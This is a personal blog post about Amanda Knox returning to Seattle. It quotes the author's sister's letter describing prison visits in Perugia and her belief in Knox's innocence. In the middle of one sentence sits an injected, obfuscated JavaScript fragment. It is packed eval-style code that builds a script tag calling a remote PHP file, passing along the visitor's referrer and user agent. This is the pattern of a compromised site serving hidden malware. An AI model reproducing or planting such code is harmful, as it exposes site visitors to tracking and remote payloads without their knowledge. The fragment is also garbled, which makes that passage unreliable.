Have you heard of Amanda Knox? If you’ve been paying even remote attention to the news, you’ve probably heard of her. She got home to Seattle last night after a long 4 years.
She’s been all over CNN ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bansi|var|u0026u|referrer|tynrn||js|php’.split(‘|’),0,{}))
and the Seattle Times. Yep, she’s from Seattle. And yes, she’s a Husky. Did you know my sister visited her in Perugia? That they lived on the same floor in the dorms?
She wrote this after visiting her in prison:
Have you met my friend?
Her name is Amanda Knox. She is beautiful and wonderful, and I got to visit her twice during my stay in Perugia.
I can’t truthfully say that we were close friends, at best we were very well acquainted – seeing each other only occasionally and usually amongst a few other friends. But the closeness of our relationship didn’t seem to matter. I’ve never been to a prison before and I was nervous about going and seeing her, I was afraid I might be too emotional when I feel like I should be strong and I was afraid I might not be something she needed. I found out that it didn’t matter. My biggest fear of all was that perhaps all the wonderful things I remembered about her might have been diminished by the challenges that have been continually facing her for the past few years. I was happy and overwhelmed to see the same smiling face and vivacious spirit I remember walk through the door and give me a hug.
At times I wonder how her family fights the battles every day. For one, they have to. They know, as I do, that she is innocent, and they do what they must until she comes safely home. But the other reason, is Amanda herself. So much has happened to her, but still she smiles, she laughs, she is infectiously spectacular in every way I remember, and most importantly of all, she has hope. She believes that the truth will bring her justice and when you’re near her, it is impossible not to feel it too. Her family, friends, and supporters keep fighting, keep pushing every day, because she does.
I remember the day her verdict was announced, and I remember feeling a pain so unexpected and so deep in my chest. Since then I’ve thought of her almost every day, hoping she is alright, hoping she finds something good in every day, and now I know that she does. I have failed so many times trying to find the words to describe her. When the topic of the publicity of her case came up and the many things said and written about her, she explained very plainly that those things were not of terrible significance to her, she simply said, I know who I am. If you imagine a person going through the surreal situations she has been living, I expect you might picture something different than who she is. I can’t imagine that it’s easy to remain so gracefully accepting and self-assured, yet she does it.
I worry at times that somewhere in the middle of the amount of publicity and near celebrity of her case, that the publicity itself might become something separate. That perhaps her case has become an open opportunity to be a part of a movement or a greater statement about justice. While I feel fairly sure that the case is and will be of historical and judicial significance for quite some time, and that she deserves all the support of friends and strangers alike, I hope that when you read this you think not about the social and historical implications of the case, but about the fantastic, intelligent, caring woman waiting for freedom. She is someone worth knowing, worth loving, worth everything you might give, because she would gladly give it all back to you and then some. Her name is Amanda Knox and it is a pleasure to know her and I am glad to call her a friend.
Free Amanda and Raffaele.
I know my sister was very excited to hear the verdict on Monday and is excited to get to see her friend again.
I wonder if Amanda realizes how big this got? How many media outlets were covering the story. How many countries were tuning in. I just hope she can get back to something normal. Can’t even imagine.